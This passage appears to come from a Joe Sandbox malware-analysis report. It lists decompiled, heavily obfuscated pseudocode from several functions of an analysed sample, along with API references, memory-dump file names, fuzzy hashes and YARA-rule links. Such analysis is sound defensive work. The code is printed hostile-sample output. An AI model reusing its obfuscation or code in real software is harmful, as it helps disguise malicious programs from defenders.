					 *((intOrPtr*)(_t520 - 0x18)) =  *((intOrPtr*)(_t520 + 0x64));
					 *((intOrPtr*)(_t520 - 0x14)) =  *(_t520 + 0x60) + 6;
					 *(_t520 - 0x10) =  *(_t520 + 0x60) ^ 0x000003ba;
					 *(_t520 - 0xc) =  *(_t520 + 0x5c) ^ 0x0000001b;
					 *((intOrPtr*)(_t520 - 8)) =  *(_t520 + 0x58) - 0x2c6;
					 *(_t520 - 4) =  *(_t520 + 0x4c);
					 *_t520 =  *(_t520 + 0x50) + 0x16f;
					 *(_t520 + 0x60) = E010E55C0( *((intOrPtr*)(_t520 - 0x18)),  *((intOrPtr*)(_t520 - 0x14)),  *(_t520 - 0x10),  *(_t520 - 0xc),  *((intOrPtr*)(_t520 - 8)),  *(_t520 - 4),  *_t520);
					 *(_t520 + 0x58) =  *(_t520 + 0x58) - 0x2c6;
					_t466 =  *0x116d69c; // 0x1a0e74
					_t287 =  *0x116d5ec; // 0x116d5f0
					_t136 = _t287 + 0x58; // 0xc4ec4ec5
					_t468 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t468 + 0x58)) =  *_t136 - _t466 - 0x1a0ed5;
					 *(_t520 + 0x54) =  *(_t520 + 0x54) ^ 0x000002f4;
					 *(_t520 + 0x60) =  *(_t520 + 0x60) - 0x3b;
					 *(_t520 + 0x50) =  *(_t520 + 0x50) - 0x5f;
					 *((intOrPtr*)(_t520 - 0x34)) =  *(_t520 + 0x58) + 0xf8;
					 *((intOrPtr*)(_t520 - 0x30)) =  *(_t520 + 0x4c) - 0x90;
					 *((intOrPtr*)(_t520 - 0x2c)) =  *(_t520 + 0x5c) - 0xb;
					 *((intOrPtr*)(_t520 - 0x28)) =  *(_t520 + 0x60) + 0x254;
					 *(_t520 - 0x24) =  *(_t520 + 0x58) ^ 0x000003de;
					 *((intOrPtr*)(_t520 - 0x20)) =  *(_t520 + 0x54) - 0x93;
					 *((intOrPtr*)(_t520 - 0x1c)) =  *((intOrPtr*)(_t520 + 0x64));
					 *(_t520 + 0x5c) = E010E7440( *((intOrPtr*)(_t520 - 0x34)),  *((intOrPtr*)(_t520 - 0x30)),  *((intOrPtr*)(_t520 - 0x2c)),  *((intOrPtr*)(_t520 - 0x28)),  *(_t520 - 0x24),  *((intOrPtr*)(_t520 - 0x20)),  *((intOrPtr*)(_t520 - 0x1c)));
					 *(_t520 + 0x4c) =  *(_t520 + 0x4c) + 0xac;
					 *(_t520 + 0x60) =  *(_t520 + 0x60) + 0xbd;
					if( *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x38)) >=  *( *((intOrPtr*)(_t520 + 0x64)) + 0x14)) {
						_t302 =  *0x116d5ec; // 0x116d5f0
						_t178 = _t302 + 0xdc; // 0x8
						_t303 =  *0x116d5ec; // 0x116d5f0
						_t394 =  *_t178 +  *((intOrPtr*)(_t303 + 0x74)) ^  *0x116d6d0 ^  *( *((intOrPtr*)(_t520 + 0x64)) + 0xe0);
						__eflags = _t394;
						 *( *((intOrPtr*)(_t520 + 0x64)) + 0xe0) = _t394;
					} else {
						_t487 =  *0x116d5ec; // 0x116d5f0
						_t176 = _t487 + 0x94; // 0xd02000
						 *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x64)) =  *_t176;
					}
					_t482 =  *0x116d5ec; // 0x116d5f0
					_t187 = _t482 + 0xec; // 0xe608d
					if( *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x9c)) <=  *_t187) {
						_t398 = ( *( *((intOrPtr*)(_t520 + 0x64)) + 0xac) +  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0xbadbdd))) *  *0x116d67c;
						__eflags = _t398;
						 *0x116d67c = _t398;
					} else {
						_t486 =  *0x116d6d8; // 0x116d5f0
						_t309 = DdeInitializeA(_t486,  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x90)) +  *0x116d6e0,  *( *((intOrPtr*)(_t520 + 0x64)) + 0xf8));
						_t402 =  *0x116d5ec; // 0x116d5f0
						 *(_t402 + 0xc0) = _t309;
					}
				}
				ExitProcess( *( *((intOrPtr*)(_t520 + 0x64)) + 0xc0));
			}

0x010d1f81
0x010d1f85
0x010d1f8b
0x010d1f98
0x010d1f9e
0x010d1fa5
0x010d1fac
0x010d1fb3
0x010d1fba
0x010d1fc1
0x010d1fd4
0x010d1fe5
0x010d2134
0x010d2137
0x010d2159
0x010d215f
0x010d2172
0x010d2179
0x010d218b
0x010d219b
0x010d21af
0x010d21bc
0x010d21bf
0x010d21c5
0x010d21dc
0x010d21dc
0x010d21e0
0x010d21f7
0x010d21fc
0x010d21ff
0x010d21ff
0x010d215f
0x010d1feb
0x010d1ff1
0x010d1ffd
0x010d2008
0x010d2014
0x010d2020
0x010d202b
0x010d2034
0x010d2040
0x010d204b
0x010d2051
0x010d205d
0x010d2063
0x010d2067
0x010d206b
0x010d206f
0x010d2073
0x010d2077
0x010d2080
0x010d208b
0x010d2097
0x010d20a3
0x010d20ae
0x010d20ba
0x010d20c3
0x010d20c9
0x010d20cf
0x010d20d3
0x010d20d7
0x010d20db
0x010d20df
0x010d20e3
0x010d20e4
0x010d20e9
0x010d20ec
0x010d20f8
0x010d20fb
0x010d2101
0x010d2106
0x010d210c
0x010d210c
0x010d1fe5
0x010d220d
0x010d242b
0x010d2437
0x010d243e
0x010d2444
0x010d244a
0x010d245e
0x010d2487
0x010d248a
0x010d2490
0x010d2497
0x010d24ae
0x010d24c3
0x010d24c9
0x010d24cf
0x010d24d5
0x010d24e3
0x010d24fa
0x010d2515
0x010d2518
0x010d2521
0x010d252e
0x010d2549
0x010d2570
0x010d2570
0x010d2572
0x010d2213
0x010d2219
0x010d221f
0x010d2228
0x010d2234
0x010d223d
0x010d2248
0x010d224e
0x010d225a
0x010d2281
0x010d228d
0x010d2290
0x010d229c
0x010d22a1
0x010d22a6
0x010d22ac
0x010d22b7
0x010d22c0
0x010d22c9
0x010d22d4
0x010d22e0
0x010d22e9
0x010d22f4
0x010d2300
0x010d230c
0x010d2312
0x010d2339
0x010d2345
0x010d2350
0x010d2368
0x010d2386
0x010d238b
0x010d2391
0x010d23a3
0x010d23a3
0x010d23ac
0x010d236a
0x010d236d
0x010d2373
0x010d2379
0x010d2379
0x010d23b5
0x010d23c1
0x010d23c7
0x010d2416
0x010d2416
0x010d241d
0x010d23c9
0x010d23e3
0x010d23ea
0x010d23f0
0x010d23f6
0x010d23f6
0x010d2423
0x010d257f

APIs

GetModuleHandleA.KERNEL32(?), ref: 010D2179
DdeInitializeA.USER32(0116D5F0,?,?), ref: 010D23EA
CloseHandle.KERNEL32(?), ref: 010D243E
GetCurrentProcessId.KERNEL32 ref: 010D248A
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?), ref: 010D2549
ExitProcess.KERNEL32 ref: 010D257F

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: HandleProcess$ByteCharCloseCurrentExitInitializeModuleMultiWide
String ID:
API String ID: 2062908402-0
Opcode ID: b6c6025f279ab1fc4d7794df2f7e10ff81d3c1398170ec5e68ca0d40112307c7
Instruction ID: 7de1eb9dbfeba5f3386c51f01ef720ec0427edb74ba4ba1850f292646618af5a
Opcode Fuzzy Hash: b6c6025f279ab1fc4d7794df2f7e10ff81d3c1398170ec5e68ca0d40112307c7
Instruction Fuzzy Hash: 4922A0B5A002489FDB08CF98D994AAE7BF6FF88304F14822AF9199B355D735E841CF54

Uniqueness

Uniqueness Score: -1.00%

Function 010D3E70 Relevance: 1.8, APIs: 1, Instructions: 284
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010D3E70() {
				intOrPtr _t189;
				intOrPtr _t211;
				signed int _t224;
				intOrPtr _t302;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr _t347;
				intOrPtr* _t348;
				void* _t350;
				void* _t359;

				_t348 = _t350 - 0x60;
				 *(_t348 + 0x50) =  *((intOrPtr*)(_t348 + 0x74)) + 0xef;
				 *(_t348 + 0x4c) =  *(_t348 + 0x68) + 0x33;
				 *(_t348 + 0x54) =  *(_t348 + 0x68) ^ 0x000002dc;
				 *((intOrPtr*)(_t348 + 0x3c)) =  *((intOrPtr*)(_t348 + 0x6c)) + 0x221;
				 *(_t348 + 0x48) =  *(_t348 + 0x70) ^ 0x000026d4;
				 *(_t348 + 0x40) =  *(_t348 + 0x70) ^ 0x000026d4;
				 *(_t348 + 0x58) =  *((intOrPtr*)(_t348 + 0x6c)) - 0x92;
				 *(_t348 + 0x5c) =  *(_t348 + 0x70) - 0x26d4;
				if( *(_t348 + 0x50) <  *(_t348 + 0x5c) + 0x2622) {
					if( *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0xc4)) != ( *(_t348 + 0x54) *  *(_t348 + 0x54) |  *( *((intOrPtr*)(_t348 + 0x7c)) + 0xbadc81))) {
						 *(_t348 + 0x5c) =  *(_t348 + 0x5c) +  *0x0116D6A8 - 0x26d4;
					}
				} else {
					if( *(_t348 + 0x40) >  *(_t348 + 0x58) + 0x2fb) {
						_t347 =  *0x116d5ec; // 0x116d5f0
						_t302 =  *0x116d5ec; // 0x116d5f0
						if( *((intOrPtr*)(_t302 + 0xbadc81)) > ( *( *((intOrPtr*)(_t348 + 0x7c)) + 0x78) |  *(_t347 + 0x14)) + 0x2598) {
							_t189 =  *0x116d5ec; // 0x116d5f0
							_t120 = _t189 + 0xe4; // 0xc
							 *((intOrPtr*)(_t348 + 0x44)) =  *_t120;
							while( *((intOrPtr*)(_t348 + 0x44)) <=  *(_t348 + 0x5c) *  *(_t348 + 0x5c)) {
								_t303 =  *0x116d5ec; // 0x116d5f0
								 *(_t348 - 0x40) = ( *(_t348 + 0x54) &  *(_t303 + 0xbadca9)) *  *(_t348 + 0x58);
								_t304 =  *0x116d5ec; // 0x116d5f0
								 *(_t348 - 0x3c) =  *(_t348 + 0x40) -  *((intOrPtr*)(_t304 + 0xbadbed));
								 *(_t348 - 0x38) =  *( *((intOrPtr*)(_t348 + 0x7c)) + 0x3c) ^  *( *((intOrPtr*)(_t348 + 0x7c)) + 0xbadc51);
								 *(_t348 - 0x34) =  *(_t348 + 0x58) &  *( *((intOrPtr*)(_t348 + 0x7c)) + 0x8c);
								 *(_t348 - 0x30) =  *(_t348 + 0x48) *  *(_t348 + 0x48) |  *(_t348 + 0x50);
								 *(_t348 - 0x2c) =  *(_t348 + 0x4c) + 0x2598;
								CreateFileMappingA( *(_t348 - 0x40),  *(_t348 - 0x3c),  *(_t348 - 0x38),  *(_t348 - 0x34),  *(_t348 - 0x30),  *(_t348 - 0x2c));
								 *((intOrPtr*)(_t348 + 0x44)) =  *((intOrPtr*)(_t348 + 0x44)) + 4;
							}
						}
					} else {
						 *((intOrPtr*)(_t348 + 0x20)) =  *(_t348 + 0x5c) + 0x2633;
						 *(_t348 + 0x24) =  *(_t348 + 0x58) ^ 0x000001c1;
						 *(_t348 + 0x28) =  *(_t348 + 0x5c) ^ 0x00002598;
						 *(_t348 + 0x2c) =  *(_t348 + 0x54) ^ 0x0000013e;
						 *((intOrPtr*)(_t348 + 0x30)) =  *(_t348 + 0x5c) + 0x2801;
						 *((intOrPtr*)(_t348 + 0x34)) =  *(_t348 + 0x50) - 0xef;
						 *((intOrPtr*)(_t348 + 0x38)) =  *((intOrPtr*)(_t348 + 0x7c));
						 *(_t348 + 0x5c) = E010D3450( *((intOrPtr*)(_t348 + 0x20)),  *(_t348 + 0x24),  *(_t348 + 0x28),  *(_t348 + 0x2c),  *((intOrPtr*)(_t348 + 0x30)),  *((intOrPtr*)(_t348 + 0x34)),  *((intOrPtr*)(_t348 + 0x38)));
						_t211 =  *0x116d5ec; // 0x116d5f0
						_t44 = _t211 + 0xac; // 0x1a0e74
						_t359 =  *_t44 -  *0x116d68c; // 0x14b95e
						if(_t359 > 0) {
							 *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x98)) =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x98)) +  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x1c));
						} else {
							 *0x116d6cc =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x10)) -  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0xe4)) ^  *( *((intOrPtr*)(_t348 + 0x7c)) + 0xdc);
						}
						 *((intOrPtr*)(_t348 + 0xc)) =  *(_t348 + 0x4c) + 0x2a2;
						 *((intOrPtr*)(_t348 + 0x10)) =  *(_t348 + 0x50) - 0x54;
						 *((intOrPtr*)(_t348 + 0x14)) =  *((intOrPtr*)(_t348 + 0x3c)) + 0x48;
						 *((intOrPtr*)(_t348 + 0x18)) =  *((intOrPtr*)(_t348 + 0x7c));
						 *(_t348 + 0x1c) =  *(_t348 + 0x5c) ^ 0x00000111;
						 *(_t348 + 0x58) = E010E8570( *((intOrPtr*)(_t348 + 0xc)),  *((intOrPtr*)(_t348 + 0x10)),  *((intOrPtr*)(_t348 + 0x14)),  *((intOrPtr*)(_t348 + 0x18)),  *(_t348 + 0x1c));
						 *(_t348 - 0xc) =  *(_t348 + 0x4c) ^ 0x00000221;
						 *((intOrPtr*)(_t348 - 8)) = 0x116d5f0;
						 *(_t348 - 4) =  *(_t348 + 0x48) ^ 0x00002565;
						 *_t348 =  *(_t348 + 0x58) - 0xdc;
						 *(_t348 + 4) =  *(_t348 + 0x50) ^ 0x000000b4;
						 *(_t348 + 8) =  *(_t348 + 0x54) ^ 0x00000221;
						_t224 = E010D47E0( *(_t348 - 0xc),  *((intOrPtr*)(_t348 - 8)),  *(_t348 - 4),  *_t348,  *(_t348 + 4),  *(_t348 + 8)); // executed
						 *(_t348 + 0x54) = _t224;
						 *((intOrPtr*)(_t348 - 0x28)) =  *(_t348 + 0x58) + 0x71;
						 *(_t348 - 0x24) =  *(_t348 + 0x54) ^ 0x00000d9a;
						 *((intOrPtr*)(_t348 - 0x20)) =  *(_t348 + 0x58) - 0x41;
						 *(_t348 - 0x1c) =  *(_t348 + 0x5c);
						 *(_t348 - 0x18) =  *(_t348 + 0x48) ^ 0x0000253b;
						 *(_t348 - 0x14) =  *(_t348 + 0x50) ^ 0x00000240;
						 *((intOrPtr*)(_t348 - 0x10)) =  *((intOrPtr*)(_t348 + 0x7c));
						 *(_t348 + 0x54) = E010D14C0( *((intOrPtr*)(_t348 - 0x28)),  *(_t348 - 0x24),  *((intOrPtr*)(_t348 - 0x20)),  *(_t348 - 0x1c),  *(_t348 - 0x18),  *(_t348 - 0x14),  *((intOrPtr*)(_t348 - 0x10)));
						 *(_t348 + 0x4c) =  *(_t348 + 0x4c) ^ 0x000003ba;
					}
				}
				return  *((intOrPtr*)(_t348 + 0x3c)) + 0x81;
			}

0x010d3e71
0x010d3e84
0x010d3e8d
0x010d3e99
0x010d3ea4
0x010d3eb0
0x010d3ebc
0x010d3ec7
0x010d3ed3
0x010d3ee2
0x010d4216
0x010d4230
0x010d4230
0x010d3ee8
0x010d3ef3
0x010d40ff
0x010d4112
0x010d411f
0x010d4125
0x010d412a
0x010d4130
0x010d413e
0x010d4156
0x010d416a
0x010d4174
0x010d4181
0x010d419c
0x010d41ab
0x010d41b8
0x010d41c3
0x010d41de
0x010d413b
0x010d413b
0x010d413e
0x010d3ef9
0x010d3f02
0x010d3f0e
0x010d3f19
0x010d3f25
0x010d3f31
0x010d3f3c
0x010d3f42
0x010d3f69
0x010d3f6c
0x010d3f71
0x010d3f77
0x010d3f7d
0x010d3fb9
0x010d3f7f
0x010d3fa0
0x010d3fa0
0x010d3fc7
0x010d3fd0
0x010d3fd9
0x010d3fdf
0x010d3feb
0x010d400a
0x010d4016
0x010d4019
0x010d4029
0x010d4034
0x010d4040
0x010d404c
0x010d4067
0x010d406f
0x010d4078
0x010d4084
0x010d408d
0x010d4093
0x010d409f
0x010d40ab
0x010d40b1
0x010d40d8
0x010d40e4
0x010d40e4
0x010d41e9
0x010d4242

APIs

CreateFileMappingA.KERNEL32 ref: 010D41DE

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: d50a478821592120639f7cb15bf7207b8e5fb0049e54ad5dbd9c78ffb6258a70
Instruction ID: 7802aa0dc49944faaa7d8869542d9bdfb69e815459441861c8edcb097d8c9bf0
Opcode Fuzzy Hash: d50a478821592120639f7cb15bf7207b8e5fb0049e54ad5dbd9c78ffb6258a70
Instruction Fuzzy Hash: 01D1E575A00148DFDB18CF98D890AAEBBF5FF88304F50812AFA299B355D735E841CB84

Uniqueness

Uniqueness Score: -1.00%

Function 010DDEDD Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010DDEDD() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E010DDEE9); // executed
				return _t1;
			}

0x010ddee2
0x010ddee8

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000DEE9,010DDAE0), ref: 010DDEE2

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4ea05c97a90df54ad1c1695b81e24182fe8c9e135adfb69bfa9c589bcd0ae184
Instruction ID: bc02b13ecd52e754ef6cf7bf46f737738fa9a7b1f1ba0592e6cc7eade00eb567
Opcode Fuzzy Hash: 4ea05c97a90df54ad1c1695b81e24182fe8c9e135adfb69bfa9c589bcd0ae184
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 010DC889 Relevance: 12.2, APIs: 8, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E010DC889(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x116dd74; // 0x2e3e64ca
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E010DD79E(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E010DDC5F(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E010DA61A(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E010DA9E8(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E010DA61A(_t101);
									goto L36;
								}
								_t62 = E010DA9E8(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E010DA61A(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E010DBD19(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E010DE270();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E010DA9E8(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E010DBD19(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E010DE270();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x010dc88e
0x010dc88f
0x010dc890
0x010dc897
0x010dc89b
0x010dc89c
0x010dc8a2
0x010dc8a8
0x010dc8ae
0x010dc8b1
0x010dc8b1
0x010dc8b4
0x010dc8b6
0x010dc8b6
0x010dc8b4
0x010dc8b8
0x010dc8bd
0x010dc8c4
0x010dc8c7
0x010dc8c7
0x010dc8e3
0x010dc8e9
0x010dc8ee
0x010dca81
0x010dca94
0x010dc8f4
0x010dc8f4
0x010dc8f7
0x010dc8fc
0x010dc900
0x010dc954
0x010dc954
0x010dc956
0x010dc958
0x010dca76
0x010dca76
0x010dca78
0x010dca79
0x00000000
0x010dca7f
0x010dc969
0x010dc96f
0x010dc971
0x00000000
0x00000000
0x010dc977
0x010dc989
0x010dc98e
0x010dc992
0x00000000
0x00000000
0x010dc99f
0x010dc9d9
0x010dc9dc
0x010dc9df
0x010dc9e1
0x010dc9e3
0x010dc9e5
0x010dca31
0x010dca31
0x010dca33
0x010dca33
0x010dca35
0x010dca6f
0x010dca70
0x00000000
0x010dca75
0x010dca49
0x010dca4e
0x010dca50
0x00000000
0x00000000
0x010dca54
0x010dca55
0x010dca56
0x010dca59
0x010dca95
0x010dca98
0x010dca5b
0x010dca5b
0x010dca5c
0x010dca5c
0x010dca69
0x010dca6b
0x010dca6d
0x010dca9e
0x00000000
0x00000000
0x00000000
0x00000000
0x010dca6d
0x010dc9e7
0x010dc9ea
0x010dc9ec
0x010dc9ee
0x010dc9f0
0x010dc9f3
0x010dc9f8
0x010dca13
0x010dca15
0x010dca1f
0x010dca21
0x010dca22
0x010dca24
0x00000000
0x00000000
0x010dca26
0x010dca2c
0x010dca2c
0x00000000
0x010dca2c
0x010dc9fa
0x010dc9fc
0x010dca00
0x010dca05
0x010dca07
0x010dca09
0x00000000
0x00000000
0x010dca0b
0x00000000
0x010dca0b
0x010dc9a1
0x010dc9a6
0x00000000
0x00000000
0x010dc9ac
0x010dc9ae
0x00000000
0x00000000
0x010dc9c5
0x010dc9ca
0x010dc9ce
0x00000000
0x00000000
0x00000000
0x010dc9d4
0x010dc907
0x010dc909
0x010dc90b
0x010dc913
0x010dc932
0x010dc934
0x010dc93e
0x010dc940
0x010dc941
0x010dc943
0x00000000
0x00000000
0x010dc949
0x010dc94f
0x010dc94f
0x00000000
0x010dc94f
0x010dc917
0x010dc91b
0x010dc920
0x010dc924
0x00000000
0x00000000
0x010dc92a
0x00000000
0x010dc92a

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,010DCADA,?,?,00000000), ref: 010DC8E3
__alloca_probe_16.LIBCMT ref: 010DC91B
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,010DCADA,?,?,00000000,?,?,?), ref: 010DC969
__alloca_probe_16.LIBCMT ref: 010DCA00
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,?,010DCADA,?,?,00000000,?), ref: 010DCA63
__freea.LIBCMT ref: 010DCA70

Part of subcall function 010DBD19: RtlAllocateHeap.NTDLL(00000000,?,?,?,010DA5A1,00000000), ref: 010DBD4B

__freea.LIBCMT ref: 010DCA79
__freea.LIBCMT ref: 010DCA9E

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: 570ac14a7cf4ffb0d6fc26e564daf0145007391dce614ed96a2a23aad6f642f6
Instruction ID: 5c99d3f81bf09ae6ab2075fa0806e809ecc6f9fa77029fd387f7dda7231ac283
Opcode Fuzzy Hash: 570ac14a7cf4ffb0d6fc26e564daf0145007391dce614ed96a2a23aad6f642f6
Instruction Fuzzy Hash: DF51D072600316AFFB25CEA8CD41EBE7BAAEB44654F15466DFD84DB180EB34DC40C651

Uniqueness

Uniqueness Score: -1.00%

Function 010DA9E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNEL32 ref: 010DAA3B
LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?), ref: 010DAA59

Strings

LCMapStringEx, xrefs: 010DA9F9, 010DAA03

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
